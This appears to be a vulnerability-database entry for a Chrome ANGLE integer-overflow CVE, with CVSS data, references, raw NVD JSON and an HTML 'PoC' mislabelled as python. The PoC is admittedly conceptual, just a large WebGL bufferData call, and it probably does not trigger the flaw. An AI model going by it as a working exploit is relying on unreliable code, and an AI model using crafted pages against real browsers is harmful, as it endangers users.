CVE-2026-7340

Description

Integer overflow in ANGLE in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Windows < 147.0.7727.138

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-7340
Conceptual PoC demonstrating crafted HTML to trigger ANGLE integer overflow.
Note: This is a simplified example for demonstration purposes.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-7340 PoC</title>
</head>
<body>
    <script>
        // Attempt to create a WebGL context which utilizes ANGLE on Windows
        const canvas = document.createElement('canvas');
        const gl = canvas.getContext('webgl');

        if (gl) {
            console.log("[+] WebGL context created. Targeting ANGLE component...");

            try {
                // Crafted data to trigger integer overflow in buffer size calculation
                // Specific values would depend on the exact vulnerable code path in ANGLE
                const largeSize = 0x7FFFFFFF; 
                
                const buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                
                // Attempting to buffer data that causes the overflow
                // This may result in an out-of-bounds read in the underlying implementation
                gl.bufferData(gl.ARRAY_BUFFER, largeSize, gl.STATIC_DRAW);
                
                console.log("[+] Payload sent. Check for crash or memory read behavior.");
                
            } catch (e) {
                console.error("[-] Exception caught:", e);
            }
        } else {
            console.log("[-] WebGL is not supported.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7340
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7340
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7340/
[4] VulDB https://vuldb.com/cve/CVE-2026-7340
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/497896137

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7340", "sourceIdentifier": "[email protected]", "published": "2026-04-28T23:16:21.583", "lastModified": "2026-04-30T16:36:51.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in ANGLE in Google Chrome on Windows prior to 147.0.7727.138 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.138", "matchCriteriaId": "162EE53D-80A0-4153-B6D6-B2EF01E0BDAE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/497896137", "source": "[email protected]", "tags": ["Permissions Required"]}]}}